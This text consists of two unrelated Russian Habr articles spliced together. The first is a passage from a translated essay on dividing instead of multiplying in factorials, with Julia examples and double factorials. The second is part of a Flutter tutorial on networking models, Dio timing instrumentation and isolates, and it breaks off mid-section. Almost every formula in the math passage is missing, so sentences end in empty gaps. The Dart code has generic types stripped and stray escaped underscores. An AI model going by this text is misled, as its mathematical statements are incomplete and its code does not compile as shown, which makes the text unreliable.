Продолжая таким образом, мы в результате приходим к:
Чтобы прийти к показанному в твите результату , мы просто умножим числитель и знаменатель на . (Хотя на мой вкус, выражение  более понятно.)
---
Я официально признанный фанат факториалов. Оставьте при себе свои последовательности Фибоначчи; *вот* моя любимая функция. Каждый раз, когда я изучаю новый язык программирования, моим первым упражнением становится написание нескольких процедур для вычисления факториалов. За многие годы я придумал несколько вариаций этой темы, например, замену в определении  на  (что даёт нам треугольные числа). Но кажется, что раньше я никогда не задумывался о замене  на . Получается странно. Так как умножение коммутативно и ассоциативно, мы можем определить  просто как произведение всех целых чисел от  до , не беспокоясь о порядке операций. Но при делении порядок игнорировать не получится. В общем случае,  и .
В твите «Библиотеки Ферма» делители поставлены в порядке по убыванию: . Очевиднее всего будет заменить это на порядок по возрастанию: . Что произойдёт, если мы зададим факториал деления как ? Ещё один возврат к школьному алгоритму деления дробей даёт нам простой ответ:
Другими словами, когда мы многократно выполняем деление, выполняя подсчёт от  до , окончательный результат будет равен величине, обратной . (Мне хотелось бы поставить в конце этого предложения восклицательный знак, но увы!) Если вы ищете канонический ответ на вопрос «Что мы получим при делении вместо умножения в ?», то я бы заявил, что  — лучший кандидат, чем . Почему бы нам не принять симметрию между  и обратной ему величиной?
Разумеется, есть множество других способов размещения *n* целочисленных значений во множестве . Но сколько именно? Как оказалось, ровно ! Поэтому, может показаться, что есть  уникальных способов задания делительной функции . Однако, изучение ответов двух показанных выше перестановок даёт нам понять, что здесь работает более простой паттерн. Какой бы элемент последовательности не появился первым, он оказывается в числителе большой дроби, а знаменателем оказывается произведение всех других элементов. Поэтому в итоге остаётся всего  различных результатов (если предположить, что мы всегда выполняем операции деления строго слева направо). Для любого целочисленного  в интервале от  до , поставив  в начало очереди, мы создаём делительное , равное , поделённому на все другие коэффициенты. Можно записать это следующим образом:
И таким образом мы решили небольшую загадку о том, как в этом твите  превратилось в .
Стоит заметить, что все эти функции сходятся к нулю при стремлении  к бесконечности. С асимптотической точки зрения,  идентичны.
---
Та-да! Миссия выполнена. Задача решена. Дело сделано. Теперь мы знаем всё, что нам нужно, о делительных факториалах, верно?
Ну, возможно, есть ещё один вопрос. Что скажет компьютер? Если взять наш любимый алгоритм факториала, и сделать то, что предлагается в твите, заменив все вхождения оператора  (или `*`) на `/`, то что случится? Какие из  вариантов делительного  выдаст нам программа?
Вот *мой* любимый алгоритм для вычисления факториалов в виде программы на [Julia](https://julialang.org/):
```
function mul!(n)
if n == 1
return 1
else
return n * mul!(n - 1)
end
end
```
Этот алгоритм познакомил целые поколения нердов с концепцией рекурсии. В текстовом виде он гласит: если  равно , то  равно . В противном случае нужно вычислить функцию , а затем умножить результат на .
Вы можете спросить, что произойдёт, если  будет равным нулю или отрицательным. Спросить вы можете, но лучше не надо. Для наших текущих целей .
Начав с любого положительного , последовательность рекурсивных вызовов рано или поздно опустится к .
Функцию можно записать более лаконично с помощью однострочного стиля определений Julia:
```
mul!(n) = n == 1 ? 1 : n * mul!(n - 1)
```
Правая часть оператора присваивания — это условное выражение, или тернарный оператор, имеющий вид `a ? b : c`. Здесь `a` — булево условие теста, которое должно вернуть значение или `true`, или `false`. Если `a` равно `true`, то вычисляется выражение `b`, а результат становится значением всего выражения. В противном случае вычисляется `c`.
Просто чтобы убедиться, что я сделал всё верно, вот первые 10 факториалов, вычисленных этой программой:
```
[mul!(n) for n in 1:10]
10-element Array{Int64,1}:
1
2
6
24
120
720
5040
40320
362880
3628800
```
Теперь давайте изменим это определение и преобразуем единственное вхождение `*` в `/`, оставив всё остальное неизменным (за исключением названия функции).
```
div!(n) = n == 1 ? 1 : n / div!(n - 1)
```
И вот что вернёт программа, если мы запустим её для значений  от  до :
```
[div!(n) for n in 1:20]
20-element Array{Real,1}:
1
2.0
1.5
2.6666666666666665
1.875
3.2
2.1875
3.657142857142857
2.4609375
4.063492063492063
2.70703125
4.432900432900433
2.9326171875
4.773892773892774
3.14208984375
5.092152292152292
3.338470458984375
5.391690662278897
3.523941040039063
5.675463855030418
```
Что? Это точно не походит на схождение к нулю, как и на  или . На самом деле значения так не выглядят, потому что и не собираются сходиться. Судя по показанному ниже графику, последовательность состоит из двух перемежающихся компонентов, каждый из которых, похоже, медленно растёт в сторону бесконечности, а также отклоняется от другого.
Разбираясь с тем, что же мы здесь наблюдаем, полезно будет изменить тип выходных данных функции `div!`. Вместо использования оператора деления `/`, который возвращает значение как число с плавающей запятой, мы можем заменить его оператором `//`, возвращающим точное рациональное значение, округлённое до младшего члена.
```
div!(n) = n == 1 ? 1 : n // div!(n - 1)
```
Вот последовательность значений для `n в интервале 1:20`:
```
20-element Array{Real,1}:
1
2//1
3//2
8//3
15//8
16//5
35//16
128//35
315//128
256//63
693//256
1024//231
3003//1024
2048//429
6435//2048
32768//6435
109395//32768
65536//12155
230945//65536
262144//46189
```
В списке полно любопытных паттернов. Это двойная спираль, в которой чётные и нечётные числа зигзагами перемещаются в комплементарных нитях. Чётные числа не просто чётные, все они являются степенями . Кроме того, они появляются в парах — сначала в числителе, затем в знаменателе — и их последовательность неубывающая. Но существуют пробелы; присутствуют не все степени . Нечётная нить выглядит ещё более сложной, в числах появляются и исчезают разные небольшие простые коэффициенты. (Простые числа *должны* быть малыми, как минимум, меньше .)
Этот результат удивил меня. Я ожидал увидеть гораздо более смирную последовательность, наподобие тех, которые я вычислял на бумаге. Все эти изломанные скачки вверх и вниз не имели никакого смысла. Как не имел смысла и общий тренд к неограниченному росту соотношения. Как мы можем постоянно делить, получая при этом всё бОльшие и бОльшие числа?
На этом этапе можете приостановить чтение и попытаться придумать собственную теорию о том, откуда взялись эти зигзагообразные числа. Если вам нужна подсказка, то у вас она есть, и очень сильная, почти спойлер: поищите последовательность числителей или последовательность знаменателей в [«Онлайн-энциклопедии целочисленных последовательностей»](http://oeis.org).
---
Вот ещё одна подсказка. Небольшое изменение в программе `div!` полностью преобразует выходные данные. Просто изменим последнее выражение, заменив `n // div!(n - 1)` на `div!(n - 1) // n`.
```
div!(n) = n == 1 ? 1 : div!(n - 1) // n
```
Теперь результаты выглядят вот так:
```
10-element Array{Real,1}:
1
1//2
1//6
1//24
1//120
1//720
1//5040
1//40320
1//362880
1//3628800
```
Это обратная функция факториала, которую мы уже видели, ряд значений, сгенерированные при обходе слева направо по возрастающей последовательности делителей .
Неудивительно, что изменение последнего выражения в процедуре менят результат. В конце концов, мы знаем, что деление не коммутативно и не ассоциативно. Но сложно понять, почему последовательность сгенерированных исходной программой значений даёт такую странную зигзагообразную форму. Какой механизм порождает такие парные степени двойки и попеременные нечётные и чётные значения?
Я обнаружил, что объяснить происходящее в зигзагообразной последовательности проще на итеративной версии процедуры, а не на рекурсивной. (Это заявление может показаться досадным тем, кто считает рекурсивные определения более простыми, но так уж получилось.) Вот как выглядит программа:
```
function div!_iter(n)
q = 1
for i in 1:n
q = i // q
end
return q
end
```
Я заявляю, что эта процедура с циклом по функционалу идентична рекурсивной функции, в том смысле, что если `div!(n)` и `div!_iter(n)` возвращают результат для какого-то положительного целого `n`, то он всегда будет одинаковым. Вот моё доказательство:
```
[div!(n) for n in 1:20] [div!_iter(n) for n in 1:20]
1 1//1
2//1 2//1
3//2 3//2
8//3 8//3
15//8 15//8
16//5 16//5
35//16 35//16
128//35 128//35
315//128 315//128
256//63 256//63
693//256 693//256
1024//231 1024//231
3003//1024 3003//1024
2048//429 2048//429
6435//2048 6435//2048
32768//6435 32768//6435
109395//32768 109395//32768
65536//12155 65536//12155
230945//65536 230945//65536
262144//46189 262144//46189
```
Чтобы понять процесс, порождающий эти числа, рассмотрим последовательные значения переменных  и  при каждом выполнении цикла. Изначально  и  равны ; поэтому после первого прохода цикла выражение `q = i // q` даёт  значение . Затем , а , то есть новое значение  равно . При третьей итерации , а , что даёт нам . Если это всё ещё сбивает вас с толку, то представьте  как . Важным наблюдением здесь является то, что при каждом обходе цикла  получает обратное значение, становясь .
Если развернуть эти операции и посмотреть на умножения и деления, входящие в каждый элемент ряда, то возникает паттерн:
В общем виде:
---
Функции  для нечётного  и  для чётного  имеют собственное название! Они называются двойными факториалами, и записываются как .
Ужасная терминология, правда? Лучше бы их назвали «полуфакториалами». И если бы я этого не знал, то прочитал бы  как «факториал факториала».
Двойной факториал *n* определяется как произведение *n* и всех меньших положительных целых чисел той же чётности. Таким образом, наша любопытная последовательность зигзагообразных значений — это просто .
В [статье 2012 года](https://www.tandfonline.com/doi/abs/10.4169/math.mag.85.3.177) Генри У. Гулда и Джослин Куэнтенс (увы, находящаяся за paywall) исследуются применения двойных факториалов. Они встречаются гораздо чаще, чем можно подумать. В середине 17-го века Джон Валлис вывел следующее тождество:
Ещё более странный ряд с участием куба значений двойных факториалов суммируется в . Его обнаружил не кто иной, как Сриниваса Рамануджан.
Гулд и Киэнтенс также рассматривали эквивалент двойного факториала для биномиальных коэффициентов. Стандартный биномиальный коэффициент определяется как:
Двойная версия выглядит так:
Заметьте, что наши зигзагообразные числа соответствуют этому описанию, а потому могут считаться биномиальными коэффициентами двойных факториалов. Говоря конкретнее, они являются такими числами:
Обычный бином  не очень интересен; он просто равен . Но двойная версия , как мы видели, танцует более оживлённый танец. И в отличие от обычного бинома она не всегда бывает целочисленной. (Единственные целые значения — это  и .)
Взгляд на зигзагообразные числа как на частное двойных факториалов объясняет довольно многие их свойства, начиная с попеременных чётных и нечётных значений. Также мы можем увидеть, почему все чётные числа в последовательности являются степенями 2. Рассмотрим пример с . Числитель этой дроби — это , получающий от  множитель . Но знаменатель равен . Тройки сверху и снизу сокращаются, оставляя нам . Такие сокращения происходят в каждом из случаев. Каждый раз, когда в последовательности чётных чисел появляется нечётный множитель , он обязательно имеет вид , но к этому времени само  уже должно появиться в последовательности нечётных чисел.
---
Является ли последовательность зигзагообразных чисел разумным ответом на вопрос: «Что произойдёт, если мы будем делить, а не умножать в ?» Или генерирующая их компьютерная программа просто оказалась ошибочным алгоритмом? По моему личному мнению,  — более интуитивный ответ, зато  — более интересный.
Более того, само существование зигзагообразной последовательности расширяет наши горизонты. Как сказано выше, если вы настаиваете, что алгоритм деления всегда должен по порядку проходить по списку числителей , на каждом шаге деля число слева на число справа, то имеется всего  возможных результатов, и все они выглядят очень похожими. Но зигзагообразное решение обеспечивает намного более широкие возможности. Мы можем сформулировать задачу следующим образом: возьмём множество числителей , выберем его подмножество и обратим все элементы этого подмножества; теперь перемножим все числители, как обратные, так и прямые. Если обращённое подмножество пусто, то результатом будет обычный факториал . Если *все* числители превратились в обратные им значения, то мы получаем обратный . А если обращён каждый второй числитель, начиная с , то результатом будет элемент зигзагообразной последовательности.
Это только некоторые из множества возможных вариантов; в сумме здесь есть  подмножеств из  элементов. Например, можно брать обратные значения каждого числа, являющегося простым или степенью простого числа . При малых  результаты скачут, но постоянно остаются меньше, чем :
Однако если бы я продолжил этот график для бОльших , он бы взлетел в стратосферу. Степени простых чисел становятся очень разреженными на числовой прямой.
---
Теперь я задам вопрос. Мы видели вариации факториалов, приближающиеся к нулю при стремлении  к бесконечности, например . Мы видели другие вариации, растущие при увеличении  безгранично, в том числе сам  и зигзагообразные числа. Существуют ли какие-то разновидности процесса факториалов, сходящиеся к какой-то конечной границе, не являющейся нулём?
В первую очередь мне пришёл в голову такой алгоритм:
```
function greedy_balance(n)
q = 1
while n > 0
q = q > 1 ? q /= n : q *= n
n -= 1
end
return q
end
```
Мы циклически перебираем целые значения от  вниз до , вычисляя в процессе текущее произведение/частное . На каждом шаге, если текущее значение  больше , мы делим его на следующий числитель, в противном случае, выполняем умножение. Эта схема реализует своего рода управление обратной связью или поведение поиска цели. Если  становится слишком большим, мы уменьшаем его; если слишком маленьким, мы увеличиваем его. Я предположил, что при стремлении  к бесконечности,  будет сходиться к постоянно сужающемуся интервалу значений рядом с .
Но эксперимент подкинул мне ещё один сюрприз:
Такая пилообразная волна — не совсем то, чего я ожидал. Любопытно, что кривая не симметрична около ; отклонения сверху имеют бОльшую амплитуду, чем снизу. Но это искажение больше визуальное, чем математическое. Так как  является частным, расстояние от  до  такое же, как расстояние от  до , но в линейном масштабе таким не выглядит. Исправить это можно, составив логарифмический график частного:
Теперь график симметричен, или хотя бы приблизительно таков, и центрирован относительно значения , которое является логарифмом . Но остаётся более серьёзная тайна. Пилообразная волна очень регулярна и имеет период , при этом не показывает признаков сжатия по направлению к ожидаемому ограничивающему значению . Численные значения предполагают, что при стремлении  к бесконечности пики кривой сходятся к значению чуть выше , а минимумы приближаются к значению чуть ниже . (Соответствующие логарифмы по основанию  примерно равны ). Мне не удалось разобраться, почему так происходит. Возможно, кто-то сможем объяснить.
Неудача с этим жадным алгоритмом не означает, что мы не сможем делительный факториал, сходящийся к .
Если мы будем работать с логарифмами числителей, то эта процедура становится случаем хорошо известной вычислительной задачи под названием «задача разбиения множества чисел». Нам даётся множество вещественных чисел, и мы должны разделить их на два множества, сумма которых равна, или как можно ближе к равенству. Это подтверждённо сложная задача, но её также называют ([PDF](http://bit-player.org/bph-publications/AmSci-2002-03-Hayes-NPP.pdf)) «простейшей сложной задачей».
Для любого  мы можем обнаружить, что при использовании обратных значений какого-то другого подмножества числителей даёт нам лучшее приближение к . Для малых  мы можем решить эту задачу способом перебора: просто рассмотреть все  подмножеств и выбрать самое лучшее.
Я вычислил оптимальные разбиения вплоть до , когда выбирать нужно из миллиарда вариантов.
Очевидно, что график становится всё более плоским. Можно использовать тот же метод для принудительного схождения к любому другому значению в интервале от  до .
И таким образом мы получаем ещё один ответ на вопрос, заданный твитом и начавший наше путешествие. Что произойдёт, если мы будем делить, а не умножать в ? Всё, что нам угодно. | https://habr.com/ru/post/440512/ | null | ru | null |
# Разработка приложения на Flutter с нуля до релиза: Part 2
Привет! Это вторая статья из цикла о разработке приложения на Flutter. В этом "номере" я опишу создание сетевого слоя, работу с локализацией, удобный способ работы с ассетами, локальный поиск и создание UI для одного из двух экранов приложения. Также я выведу интересные метрики, например - сколько данных сможет распарсить ваше приложение за одну милисекунду и начиная с какого размера JSON’а, прилетевшего с бэка UI начнет тормозить. Как говорится - с места...
Автор: Staselnik - собственная работа, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=33424138### Ссылки на статьи цикла
[Часть 1: Идея + Базовая инфраструктура](https://habr.com/ru/post/594963/)
[Часть 2: Сеть, локализация, локальный поиск, главный экран](https://habr.com/ru/post/597605/)
### Сеть
Для отрисовки первого экрана необходимы следующие данные:
Фрагмент первого экрана
```
image
title
subtitle
price
diff
```
Исходя из этого получаем следующую сущность, описывающую каждый из токенов:
```
import 'package:flutter/foundation.dart';
import 'package:json_annotation/json_annotation.dart';
import '../../../service/types/types.dart';
import 'item_prices.dart';
part 'stock_item.g.dart';
// BTC, ETH etc.
typedef CryptoSymbol = String;
/* Example of data:
{
"id": 1,
"name": "Bitcoin",
"symbol": "BTC",
"max_supply": 21000000,
"circulating_supply": 18897568,
"total_supply": 18897568,
"platform": null,
"cmc_rank": 1,
"last_updated": "2021-12-11T03:44:02.000Z",
"quote": {
"USD": {
"price": 48394.083464545605,
"volume_24h": 32477191827.784477,
"volume_change_24h": 7.5353,
"percent_change_1h": 0.3400355,
"percent_change_24h": 0.05623531,
"percent_change_7d": -7.88809336,
"percent_change_30d": -25.12367453,
"percent_change_60d": -14.67776793,
"percent_change_90d": 6.86740691,
"market_cap": 914530483068.9261,
"market_cap_dominance": 40.8876,
"fully_diluted_market_cap": 1016275752755.46,
"last_updated": "2021-12-11T03:44:02.000Z"
}
}
}
*/
@immutable
@JsonSerializable()
class StockItem {
const StockItem({
required this.id,
required this.name,
required this.symbol,
required this.prices,
});
factory StockItem.fromJson(Json json) => _$StockItemFromJson(json);
final int id;
final String name;
final CryptoSymbol symbol;
@JsonKey(name: 'quote')
final Map prices;
ItemPrices get usdPrices => prices['USD']!;
String imageUrl(int size) {
assert(size > 128 && size <= 250);
return '';
}
Json toJson() => \_$StockItemToJson(this);
}
```
Поле `id` появилось как необходимость для отображения логотипов валют. Так как исходный ресурс предоставляет их как раз по `id`.
И еще одна сущность, описывающая цены криптовалюты в валюте обычной:
```
import 'package:flutter/foundation.dart';
import 'package:json_annotation/json_annotation.dart';
import '../../../service/types/types.dart';
part 'item_prices.g.dart';
@immutable
@JsonSerializable()
class ItemPrices {
const ItemPrices({
required this.price,
required this.diff1h,
required this.diff24h,
});
factory ItemPrices.fromJson(Json json) => _$ItemPricesFromJson(json);
final double price;
@JsonKey(name: 'percent_change_1h')
final double diff1h;
@JsonKey(name: 'percent_change_24h')
final double diff24h;
Json toJson() => _$ItemPricesToJson(this);
}
```
Для сериализации / десериализации моделей я использовал [json\_serializable](https://pub.dev/packages/json_serializable). Осталось только загрузить данные. Тут нам на помощь приходит кодогенерация в лице [retrofit](https://pub.dev/packages/retrofit). Благодаря данному решению мы можем избавиться от необходимости написания хоть какой-то части бойлерплейта ([но не всей](https://habr.com/ru/post/565984/)). Сетевую логику, связанную с получением списка крипты разместим в классе `CryptoProvider`.
```
import 'package:dio/dio.dart';
import 'package:high_low/domain/crypto/dto/stock_response.dart';
import 'package:retrofit/http.dart';
part 'crypto_provider.g.dart';
@RestApi(baseUrl: '')
abstract class CryptoProvider {
factory CryptoProvider(Dio dio, {String? baseUrl}) = _CryptoProvider;
@GET('cryptocurrency/listings/latest')
Future fetchLatestData({
@Header('X-CMC\_PRO\_API\_KEY') required String token,
@Query('limit') int limit = 1000,
});
}
```
Конечно же, в DI-регистратор была добавлена фабрика `CryptoProvider` и `Dio`:
```
import 'package:dio/dio.dart';
import 'package:flutter/widgets.dart';
import '../../domain/crypto/logic/crypto_provider.dart';
import '../routing/default_router_information_parser.dart';
import '../routing/page_builder.dart';
import '../routing/root_router_delegate.dart';
import 'di.dart';
void initDependencies() {
Di.reg(() => RootBackButtonDispatcher());
Di.reg>(() => DefaultRouterInformationParser());
Di.reg>(() => RootRouterDelegate());
Di.reg(() => PageBuilder());
Di.reg(() => Dio(), asBuilder: true); // <--
Di.reg(() => CryptoProvider(Di.get()), asBuilder: true); // <--
}
```
На данном этапе у нас получается следующая структура проекта (внутренности `service` пока опускаю):
```
|-- domain
| `-- crypto
| |-- dto
| | |-- item_prices.dart
| | |-- stock_item.dart
| | |-- stock_item_example.json
| | `-- stock_response.dart
| `-- logic
| `-- crypto_provider.dart
|-- high_low_app.dart
|-- main.dart
`-- service
|-- config
|-- di
|-- logs
|-- routing
|-- theme
|-- tools
|-- types
```
Если вы задались вопросом, как получить такую картинку директории, [вот](http://mama.indstate.edu/users/ice/tree/) ответ. Ну и на данном этапе работа с сетью завершена, все что нужно для отображения главного экрана у нас уже есть.
### State
Вот мы и подбираемся к UI с логикой. Давайте начнем с последней, так как иначе она все равно заспойлерится в интерфейсе.
Но, прежде чем начать описывать состояние нашего приложения, нужно сделать большое лирическое отступление. Для тех, кто занимается разработкой приложений на Flutter не секрет, что Dart - однопоточный язык с возможностью запуска нескольких, так называемых [Isolate](https://api.dart.dev/stable/2.15.1/dart-isolate/Isolate-class.html) - изолированных потоков со своим собственным Event Loop и памятью. И *обычно*, *большинство* разработчиков пишет весь код “просто в одном потоке”. То есть не заморачивается с тем, чтобы выносить тяжелые операции, потенциально блокирующие UI в отдельные изоляты (но я никого не виню, стандартное API весьма громоздкое, `compute()` не то, чтобы *спасал*, а различные сторонние библиотеки...ну кому они нужны?, изоляты - сложно ведь). Со временем могут происходить неприятные изменения в приложении или данных, прилетающих с бэка, становится все больше и все начинает лагать. Из-за чего? Давайте проведем небольшое исследование.
#### Исследование
Я провел 3 эксперимента по 5 раз для двух окружений. Первое окружение: profile-сборка на флагманском устройстве (Samsung Galaxy Note 20 Ultra), находящемся в режиме “обычное использование” - то есть я не перезагружал телефон перед каждым прогоном, но каждый раз выгружал из памяти приложение, а других активно запущенных приложений не было. Второе окружение: определенного рода симуляция слабого устройства, которое у пользователя вашего приложения тоже может оказаться - это эмулятор со следующими настройками:
* 2048Mb RAM
* 256Mb VM Heap
* 4 Cores CPU
Сам эмулятор был запущен на ноутбуке с Ryzen 7 5800H, никаких фоновых задач нет (только открытая IDEA).
Теперь к сути испытаний - для главного экрана необходимо загрузить данные о криптовалютах. Я загружал их по 100, 1000 и 5000 штук за один запрос. По окончанию запроса измерял время, требуемое на преобразование ответа сервера (массив байт) в сырую JSON-строку, которая, затем, десереализуется в `Map`, все это - подкапотная логика [Dio](https://pub.dev/packages/dio), в которую я добавил только логирование времени. Вторая операция, подвергнутая анализу - уже преобразование мапки в бизнес-классы, с которыми в реальном приложении мы и работаем.
Для того, чтобы внедрить логирование в Dio пришлось изрядно покопаться в его внутренних органах: все указанные преобразования происходят посредством класса `Transformer`. Данный класс можно написать самому и скормить Dio, а можно ничего и не делать - тогда будет использоваться `DefaultTransformer`. Приведу тот кусок стандартного трансформера, который отвечает за то, чтобы вы смогли получить мапку на выходе (справа от каждой добавленной строки есть комментарий с префиксом `<--`, в котором описано, что тут происходит):
```
Future transformResponse(
RequestOptions options, ResponseBody response) async {
if (options.responseType == ResponseType.stream) {
return response;
}
var length = 0;
var received = 0;
var showDownloadProgress = options.onReceiveProgress != null;
if (showDownloadProgress) {
length = int.parse(
response.headers[Headers.contentLengthHeader]?.first ?? '-1');
}
var completer = Completer();
var stream =
response.stream.transform(StreamTransformer.fromHandlers(
handleData: (data, sink) {
sink.add(data);
if (showDownloadProgress) {
received += data.length;
options.onReceiveProgress?.call(received, length);
}
},
));
// let's keep references to the data chunks and concatenate them later
final chunks = [];
var finalSize = 0;
int totalDuration = 0; // <-- Total computation time in microseconds
int networkTime = 0; // <-- Time (microseconds), which will spend to accumulate parts of network response
StreamSubscription subscription = stream.listen(
(chunk) {
final start = DateTime.now().microsecondsSinceEpoch; // <-- Before saving each part of the data we start tracking the current time
finalSize += chunk.length;
chunks.add(chunk);
final now = DateTime.now().microsecondsSinceEpoch; // <--
totalDuration += now - start; // <-- After the chunk of data was saved, we check spent time
networkTime += now - start; // <--
},
onError: (Object error, StackTrace stackTrace) {
completer.completeError(error, stackTrace);
},
onDone: () => completer.complete(),
cancelOnError: true,
);
// ignore: unawaited\_futures
options.cancelToken?.whenCancel.then((\_) {
return subscription.cancel();
});
if (options.receiveTimeout > 0) {
try {
await completer.future
.timeout(Duration(milliseconds: options.receiveTimeout));
} on TimeoutException {
await subscription.cancel();
throw DioError(
requestOptions: options,
error: 'Receiving data timeout[${options.receiveTimeout}ms]',
type: DioErrorType.receiveTimeout,
);
}
} else {
await completer.future;
}
final start = DateTime.now().microsecondsSinceEpoch; // <-- Here we start tracking time before all chunks will be joined into the one Uint8List
final responseBytes = Uint8List(finalSize);
var chunkOffset = 0;
for (var chunk in chunks) {
responseBytes.setAll(chunkOffset, chunk);
chunkOffset += chunk.length;
}
totalDuration += DateTime.now().microsecondsSinceEpoch - start; // <-- And adding the new portion of time
if (options.responseType == ResponseType.bytes) return responseBytes;
String? responseBody;
if (options.responseDecoder != null) {
responseBody = options.responseDecoder!(
responseBytes,
options,
response..stream = Stream.empty(),
);
} else {
final start = DateTime.now().microsecondsSinceEpoch; // <-- We also tracked the decoding of the bytes into the string (raw JSON)
responseBody = utf8.decode(responseBytes, allowMalformed: true);
totalDuration += DateTime.now().microsecondsSinceEpoch - start; // <--
}
if (responseBody.isNotEmpty &&
options.responseType == ResponseType.json &&
\_isJsonMime(response.headers[Headers.contentTypeHeader]?.first)) {
final callback = jsonDecodeCallback;
if (callback != null) {
return callback(responseBody);
} else {
final start = DateTime.now().microsecondsSinceEpoch; // <-- And finally - we track the decoding of the raw JSON string into the Map
final result = json.decode(responseBody);
totalDuration += DateTime.now().microsecondsSinceEpoch - start; // <--
print('TOTAL PARSING TIME: ${totalDuration / 1000}ms; NETWORK TIME: ${networkTime / 1000}ms'); // <--
return result;
}
}
return responseBody;
}
```
Ну и второй герой нашего времени - операция преобразования мапки в бизнес-сущности (для этого мы вклиниваем логирование в сгенерированный retrofit класс, в котором и описана вся логика получения данных):
```
Future fetchLatestData({required token, limit = 1000}) async {
const \_extra = {};
final queryParameters = {r'limit': limit};
final \_headers = {r'X-CMC\_PRO\_API\_KEY': token};
\_headers.removeWhere((k, v) => v == null);
final \_data = {};
final \_result = await \_dio.fetch>(\_setStreamType(Options(method: 'GET', headers: \_headers, extra: \_extra)
.compose(\_dio.options, 'cryptocurrency/listings/latest', queryParameters: queryParameters, data: \_data)
.copyWith(baseUrl: baseUrl ?? \_dio.options.baseUrl)));
bench.start('STOCK RESPONSE DESERIALIZING'); // <-- At here we used the simple performance-tracker
final value = StockResponse.fromJson(\_result.data!);
bench.end('STOCK RESPONSE DESERIALIZING'); // <--
return value;
}
```
Также стоит показать и код самого *performance-tracker*, используемого выше:
```
class _Benchmark {
final Map \_starts = {};
void start(dynamic id) {
final String benchId = id.toString();
if (\_starts.containsKey(benchId)) {
Logs.warn('Benchmark already have comparing with id=$benchId in time');
} else {
\_starts[benchId] = DateTime.now().microsecondsSinceEpoch;
}
}
double end(dynamic id) {
final String benchId = id.toString();
if (!\_starts.containsKey(benchId)) {
throw Exception('In Benchmark not placed comparing with id=$benchId');
}
final double diff = (DateTime.now().microsecondsSinceEpoch - \_starts[benchId]!) / 1000;
final String info = '$benchId need ${diff}ms';
print(info);
\_starts.remove(benchId);
return diff;
}
}
final \_Benchmark bench = \_Benchmark();
```
Как говорил кто-то там:
> Лучше показать таблицу с данными, чем ходить вокруг да около
>
>
Поэтому, вот [таблица](https://docs.google.com/spreadsheets/d/10G5p7ZMUbTUG_cMQjDEhRAt0WUfJHkicbC_dnzNPXFw/edit?usp=sharing), с дополнительной аннотацией полей:
* **Count** - количество элементов криптовалют, загружаемых за один запрос (да, да, в мире есть, как минимум, 5000 видов крипты)
* **Rows** - количество строк в JSON (если сделать Beautify в [Postman](https://www.postman.com/))
* **Size** - размер данных в килобайтах
* **[P]** / **[D]** - префикс окружения, Profile / Debug (описано выше)
* **JSON** - время в милисекундах, потраченное непосредственно на то, чтобы Dio вернул нам мапку
* **Entity** - время в милисекундах, потраченное на то, чтобы преобразовать мапку в бизнес-сущности
* **Total** - сумма JSON + Entity
* **kB / ms** - метрика, означающая, “сколько килобайт можно преобразовать за одну милисекунду”
Таблица!А вот мои выводы из этой таблицы:
1. В лучшем случае, если у пользователя устройство верхнего ценового сегмента - мы можем рассчитывать на то, что оно будет способно обработать до **~18kB/ms** (возможно, самые новые флагманы будут способны и на большее)
2. Ремарка про худший случай - так как **[D]** окружение было запущено на эмуляторе с JIT-компиляцией, то мы имеем некоторые негативные экстремумы, связанные с тем, что код еще не разогрелся. Это отчетливо видно на объеме данных в 100 единиц - было потрачено чрезвычайно много времени, выбивающееся из статистики. Поэтому я не буду брать значение в 2.629kB/ms как минимальное, а возьму 8.603kB/ms, как более близкое к реальности. Делаем вывод - мы можем рассчитывать на то, что устройство пользователя сможет обработать хотя бы **~9kB/ms**
3. Будем исходить из того, что все большее количество девайсов обладает экранами с частотой обновления 120FPS, это значит, что у нас есть всего 8ms для отрисовки одного кадра, из этих 8ms какое-то время занимает сам процесс рендеринга, примерно, в среднем, это будет 2ms. Итого - у нас осталось 6ms, чтобы сделать что-то и не потерять кадр. А это значит, что мы можем рассчитывать на то, что пользовательское устройство сможет обработать запрос с размером ответа в (18 + 9) / 2 \* (8 - 2) = **81kB**, чтобы не потерять ни одного кадра (это в идеале, если нет других негативных факторов). Если дисплей с 60FPS, то (18 + 9) / 2 \* (16 - 2) = **189kB**
Что с этой информацией делать? Ну, например, мы можем сделать вывод, что если попытаться разобрать JSON в 1mb в главном потоке приложения, то мы гарантированно получим лаг в 80-160ms, и это уже будет бросаться в глаза пользователю. Если у вас много запросов с жирными ответами - интерфейс будет лагать намного чаще. Как с этим можно бороться, я уже однажды [рассказывал](https://habr.com/ru/post/532862/). И пора продолжить этот старый рассказ.
#### Isolate
С недавним релизом Dart 2.15 произошли позитивные изменения в возможностях использования изолятов. Главным новшеством стал новый [метод](https://api.dart.dev/stable/2.15.1/dart-isolate/Isolate/exit.html) `Isolate.exit()`, который позволяет завершить текущий сторонний изолят, передавая в `SendPort` данные, которые прилетят в соответствующий `ReceivePort` за константное время. При этом, глубокого копирования, которое происходило раньше, до появления данного метода - не происходит, а значит - мы не заблочим наш UI-поток, когда он будет получать большую порцию данных одномоментно из стороннего изолята. Все это доступно “из коробки” посредством старой доброй функции `compute()`. С её помощью можно выносить вычисления, произодимые в отдельных функциях в сторонний изолят и быстро получать результаты обратно.
Относительно простым решением будет создание своего `Transformer`, который будет парсить ответы в стороннем изоляте и возвращать результат.
Но, как говорилось в первой статье - я хочу показать еще и использование своих библиотек, а не только этапы создания приложения и так уж вышло, что у меня есть библиотека [isolator](https://pub.dev/packages/isolator/versions/1.1.0), созданная для упрощения работы с изолятами и позволяющая вынести вообще всю логику в сторонние `Stateful` изоляты. Эти сторонние изоляты, в контексте библиотеки, носят название `Backend`. И к ним в нагрузку идут легковесные реактивные компаньоны, называемые `Frontend` - это может быть любой класс из любого менеджера управления состоянием - Bloc, Mobx, ChangeNotifier и тд. К этому классу добавляется `mixin Frontend` и вы получаете возможность общения с соответсвующим `Backend`. До выхода Dart 2.15 эта библиотека решала одну узкую, но фундаментальную проблему (чтобы её не пришлось решать самостоятельно) - возможность передачи данных неограниченного объема из стороннего изолята в главный без блокировки последнего. С появлением метода `Isolate.exit()` эта проблема, кажется, ушла сама собой, поэтому теперь данная библиотека просто позволяет не нагружать основной поток ничем, кроме отрисовки UI (впрочем, как и раньше).
В данный момент на pub.dev доступна первая версия, но при этом все основные работы по написанию v2 завершены, но пока не опубликованы, поэтому если вы захотите попробовать - можно установить из git:
```
isolator:
git:
url:
ref: next
```
